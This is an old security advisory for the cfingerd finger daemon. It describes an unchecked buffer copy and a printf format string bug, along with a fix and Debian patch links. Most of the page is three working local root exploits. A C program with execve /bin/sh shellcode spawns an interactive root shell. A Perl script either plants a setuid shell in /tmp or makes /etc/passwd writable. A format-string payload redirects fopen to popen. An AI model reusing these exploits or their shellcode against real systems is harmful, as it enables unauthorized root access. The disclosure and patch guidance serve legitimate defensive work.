Redirecting
Vulnerability
cfingerd
Affected
cfingerd
Description
Steven Van Acker found following. Versions prior to cfingerd
1.4.3 were not tested, but we suppose they are vulnerable as well.
When the option ALLOW_LINE_PARSING is set (and this seems to be
by default, each user can specify what cfingerd returns to the
querying person. The problem is situated in util.c, line 181-182:
while((line[pos] != ' ') && (!done)) {
command[newpos] = line[pos];
This while loop does not check whether the end of the buffer
"command" has been reached. (The buffer is 80 chars long.)
This leads to a buffer overflow. Even more alarming is that it
can lead to a local root exploit, because cfingerd is allowed to
run as root, and it doesn't seem to drop the privileges when it
performs that while loop.
$<80 chars><displine><5*sizeof(int)><ebp><eip>
By inserting this in ~/.nofinger , and storing the shellcode in
the 80 chars buffer, it is possible to execute usersupplied code.
The value of displine is required because of the free(displine)
on line 303. This value can be determined by another bug in the
same file at line 301:
printf(displine);
Which is a standard format string bug.
$center %s %p
By inserting this into ~/.nofinger, the second value printed will
be the address of displine.
Of course, this format string bug could be exploited as well, but
it's more difficult than the one above.
/*
* cfingerd 1.4.3 and prior Linux x86 local root exploit
* by qitest1 10/07/2001
*
* If the ALLOW_LINE_PARSING option is set, and it is set
* by default, the bof simply occurs when reading the ~/.nofinger
* file. If cfingerd is called by inetd as root, a root shell will be
* spawned. But it is quite funny that the authors of cfingerd in the
* README almost seem to encourage people to set inetd.conf for
* calling cfingerd as root.
*
* Greets: my friends on #sikurezza@Undernet
* jtripper: hi man, play_the_game with me! =)
* warson and warex
*
* Fuck: fender'/hcezar: I want your respect..
*
* have fun with this 0x69 local toy! =)
*/
#include <stdio.h>
#include <pwd.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#define RETPOS 84
#define LOCALHOST "localhost"
#define FINGERD_PORT 79
struct targ
{
int def;
char *descr;
u_long retaddr;
};
struct targ target[]=
{
{0, "Red Hat 6.2 with cfingerd 1.4.0 from tar.gz", 0xbffff660},
{1, "Red Hat 6.2 with cfingerd 1.4.1 from tar.gz", 0xbffff661},
{2, "Red Hat 6.2 with cfingerd 1.4.2 from tar.gz", 0xbffff662},
{3, "Red Hat 6.2 with cfingerd 1.4.3 from tar.gz", 0xbffff663},
{69, NULL, 0}
};
char shellcode[] = /* Aleph1 code */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int sel = 0, offset = 0;
void play_the_game(u_long retaddr, struct passwd *user);
int sockami(char *host, int port);
void shellami(int sock);
void usage(char *progname);
int
main(int argc, char **argv)
{
int sock, cnt;
uid_t euid;
char sbuf[256];
struct passwd *user;
printf("\n cfingerd 1.4.3 and prior exploit by qitest1\n\n");
while((cnt = getopt(argc,argv,"t:o:h")) != EOF)
{
switch(cnt)
{
case 't':
sel = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case 'h':
usage(argv[0]);
break;
}
}
euid = geteuid();
user = (struct passwd *)getpwuid(euid);
printf("+User: %s\n against: %s\n", user->pw_name, target[sel].descr);
target[sel].retaddr += offset;
printf("+Using: retaddr = %p...\n ok\n", target[sel].retaddr);
play_the_game(target[sel].retaddr, user);
sock = sockami(LOCALHOST, FINGERD_PORT);
sprintf(sbuf, "%s\n", user->pw_name);
send(sock, sbuf, strlen(sbuf), 0);
printf("+Waiting for a shell...\n 0x69 =)\n");
sleep(1);
shellami(sock);
}
void
play_the_game(u_long retaddr, struct passwd *user)
{
char zbuf[256], nofinger_path[256];
int i, n = 0;
FILE *nofinger_file;
memset(zbuf, '\x90', sizeof(zbuf));
for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
zbuf[i] = shellcode[n++];
zbuf[RETPOS + 0] = (u_char) (retaddr & 0x000000ff);
zbuf[RETPOS + 1] = (u_char)((retaddr & 0x0000ff00) >> 8);
zbuf[RETPOS + 2] = (u_char)((retaddr & 0x00ff0000) >> 16);
zbuf[RETPOS + 3] = (u_char)((retaddr & 0xff000000) >> 24);
zbuf[RETPOS + 4] = '\x00';
sprintf(nofinger_path, "%s/.nofinger", user->pw_dir);
nofinger_file = fopen(nofinger_path, "w");
printf("+Writing ~/.nofinger...\n");
fprintf(nofinger_file, "$%s\n", zbuf);
printf(" done\n");
fclose(nofinger_file);
return;
}
int
sockami(char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1)
{
perror("socket()");
exit(-1);
}
hp = gethostbyname(host);
if(hp == NULL)
{
perror("gethostbyname()");
exit(-1);
}
memset(&address, 0, sizeof(address));
memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons(port);
if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
{
perror("connect()");
exit(-1);
}
return(sock);
}
void
shellami(int sock)
{
int n;
char recvbuf[1024], *cmd = "id; uname -a\n";
fd_set rset;
send(sock, cmd, strlen(cmd), 0);
while (1)
{
FD_ZERO(&rset);
FD_SET(sock, &rset);
FD_SET(STDIN_FILENO, &rset);
select(sock+1, &rset, NULL, NULL, NULL);
if(FD_ISSET(sock, &rset))
{
n = read(sock, recvbuf, 1024);
if (n <= 0)
{
printf("Connection closed by foreign host.\n");
exit(0);
}
recvbuf[n] = 0;
printf("%s", recvbuf);
}
if (FD_ISSET(STDIN_FILENO, &rset))
{
n = read(STDIN_FILENO, recvbuf, 1024);
if (n > 0)
{
recvbuf[n] = 0;
write(sock, recvbuf, n);
}
}
}
return;
}
void
usage(char *progname)
{
int i = 0;
printf("Usage: %s [options]\n", progname);
printf("Options:\n"
" -t target\n"
" -o offset\n"
" -h (help)\n"
"Available targets:\n");
while(target[i].def != 69)
{
printf(" %d) %s\n", target[i].def, target[i].descr);
i++;
}
exit(1);
}
Another one:
#!/usr/bin/perl
# | Local buffer overflow exploit for cfingerd
# | Copyright (c) 2001 by <teleh0r@digit-labs.org>
# | All rights reserved.
# |
# | Simple exploit for the vulnerability reported
# | to bugtraq by Steven Van Acker.
# | http://www.securityfocus.com/archive/1/192844
# |
# | If cfingerd does not run as root, the exploit
# | will of course fail!
# |
# | http://www.digit-labs.org/teleh0r/
use Socket; use File::Copy;
use Getopt::Std; getopts('s:p:o:', \%arg);
if (defined($arg{'s'})) { $sjell = $arg{'s'} }
if (defined($arg{'p'})) { $port = $arg{'p'} }
if (defined($arg{'o'})) { $offset = $arg{'o'} }
# shellcodes written by myself especially for
# this exploit.
# 34 bytes
$shellcode1 =
"\x31\xdb". # xor ebx, ebx
"\x31\xc9". # xor ecx, ecx
"\xf7\xe3". # mul ebx
"\x52". # push edx
"\x68\x2f\x2f\x79\x30". # push dword 0x30792f2f
"\x68\x2f\x74\x6d\x70". # push dword 0x706d742f
"\x89\xe3". # mov ebx, esp
"\xb0\xb6". # mov al, 0xb6
"\xcd\x80". # int 0x80
"\x66\xb9\xed\x0d". # mov cx, 0xded
"\xb0\x0f". # mov al, 0xf
"\xcd\x80". # int 0x80
"\x40". # inc eax
"\xcd\x80"; # int 0x80
# 35 bytes
$shellcode2 =
"\xeb\x10". # jmp short file
"\x5b". # pop ebx
"\x31\xc9". # xor ecx, ecx
"\xf7\xe1". # mul ecx
"\x66\xb9\xa6\x01". # mov cx, 0x1a6
"\xb0\x0f". # mov al, mov
"\xcd\x80". # int 0x80
"\x40". # inc eax
"\xcd\x80". # int 0x80
"\xe8\xeb\xff\xff\xff". # call code
"/etc/passwd". # string
"\x00"; # null terminate
# cfingerd does not drop privileges before the
# vulnerable code kicks in, therefore no need
# to use setuid(0);
if (!(defined($sjell))||$sjell !~ m/^(1|2)$/) {&usage}
$shellcode = $sjell == 1 ? $shellcode1 : $shellcode2;
$port ||= 2003;
$user = getlogin() || getpwuid($<);
$return = 0xbffff46c;
$length = 88;
$kewlnop = 'K';
$homedir = (getpwnam($user))[7];
printf("Address: %#lx\n", ($return + $offset));
&do_checkz;
if (connect_host('127.0.0.1', $port)) {
&prepare_attack;
send(SOCKET, "$user\015\012", 0);
close(SOCKET);
sleep(1);
&do_checkz;
die("Sorry, exploit failed - check the values.\n");
}
sub prepare_attack {
for ($i = 0; $i < ($length - 2 - 4); $i++) {
$buffer .= $kewlnop;
}
#<82'nops'><jmp 0x4><retaddr><shellcode>
$buffer .= "\xeb\x04";
$buffer .= pack('l', ($return + $offset));
$buffer .= $shellcode;
if (-e("$homedir/.nofinger")) { # I am nice, huh?
copy("$homedir/.nofinger", "$homedir/.nofinger.BAK");
}
open(FILE, ">$homedir/.nofinger") || die("Error: $!\n");
print(FILE "\$$buffer\n");
close(FILE);
}
sub do_checkz {
if ($sjell == '1') {
if (-u("/tmp/y0") && (stat("/tmp/y0"))[4,5] == '0') {
print("Exploit attempt succeeded!\n");
exec("/tmp/y0");
} elsif (stat("/tmp/y0") == '0') {
copy("/bin/sh", "/tmp/y0") || die("Error: $!\n");
}
} elsif ($sjell == '2') {
if (-w("/etc/passwd")) {
($perm) = (split(/\s/,`ls -la /etc/passwd`))[0];
print("Success: /etc/passwd $perm\n");
exit(0);
}
}
}
sub usage {
system("clear");
# below layout style stolen from qitest1 xinetd exploit ;)
# werd!
print(qq(
cfingerd <= 1.4.3-8 local exploit by teleh0r
All rights reserved.
Usage: $0 [options]
Options:
-s shellcode - see below
-p port - 2003 default
-o offset
Available shellcodes:
1\) root shell in /tmp
2\) writable /etc/passwd
));
exit(1);
}
sub connect_host {
($target, $port) = @_;
$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
return(1);
}
zen-parse added another exploit on the same subject (exploit
redirects fopen() call to popen() and executes code from
~/.nofinger):
/************************************************************
http://www.infodrom.ffis.de/projects/cfingerd/ states:
Cfingerd is a free and secure finger daemon replacement for
standard finger daemons such as GNU fingerd or MIT fingerd.
April 11, 2001 Megyer Laszlo < abulla@freemail.hu > wrote:
In 3 words: REMOTE ROOT VULNERABILITY
idcf.c - July 11 2001 - happy 3 month anniversary!
http://oliver.efri.hr/~crv/security/bugs/Others/cfinger6.html
M4D PR0PZ T0 :
Steven for showing me da bugz
noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
grue 4 lurking, g00bER 4 something
and the rest of #roothat @ irc.pulltheplug.com
4150 70 mp3.com 4 http://mp3.com/cosv
***********************************************************/
// The offsets are from a version i compiled just to
// test the vulnerability and so will most likely not
// work for you.
// get this from objdump -R cfingered|grep fopen
#define OVER 0x0805532c
// get this from objdump -R cfingerd|grep popen
// and then gdb cfingerd and x/x 0xoffset from objdump
#define WITH 0x080491ba
#include <stdio.h>
main(int argc,char*argv[])
{
int z0=0,ovrw=OVER; // address to overwrite with pass 1
int z1=0,ovrw1=OVER+2; // address to overwrite with pass 2
int slen=strlen("evil fingered from ")+9;
int addr=WITH; // what to overwrite the address with
int offset=20; // where the first address is on the stack
int a1,a2;
FILE *f;
f=fopen("/etc/motd","w+");
if(!f)
{
fprintf("You must be root to use this exploit.\n");
exit(1);
}
a1=(addr&0x000ffff)-slen; // 1st number of bytes
a2=(0x10000+(addr>>16)-a1-slen)&0x0ffff; // 2nd number of bytes
printf(":::A%s%s",&ovrw,&ovrw1); // header/padding/addresses
printf("%%%ux%%%d$hn%%%ux%%%d$hn\n" // formatstring itself
,a1,offset,a2,offset+1);
fprintf(stderr,"Visit http://mp3.com/cosv/ today!\n");
fprintf(stderr,"And mebe visit your account on the other machine.\n");
fprintf(stderr,"after you finger it.\n");
fprintf(f,"Visit http://mp3.com/cosv/ today!\n");
fclose(f);
}
Solution
A quick fix is to disable the ALLOW_LINE_PARSING option. To fix
this (you probably know it already) on line 181:
while((newpos < 80) && (line[pos] != ' ') && (!done)) {
^^^^^^^^^^^^^^^^^
on line 301:
printf("%s",displine);
^^^^^
For Debian:
http://security.debian.org/dists/stable/updates/main/source/cfingerd_1.4.1-1.2.diff.gz
http://security.debian.org/dists/stable/updates/main/source/cfingerd_1.4.1-1.2.dsc
http://security.debian.org/dists/stable/updates/main/source/cfingerd_1.4.1.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/binary-alpha/cfingerd_1.4.1-1.2_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/cfingerd_1.4.1-1.2_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/cfingerd_1.4.1-1.2_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/cfingerd_1.4.1-1.2_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/cfingerd_1.4.1-1.2_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/cfingerd_1.4.1-1.2_sparc.deb
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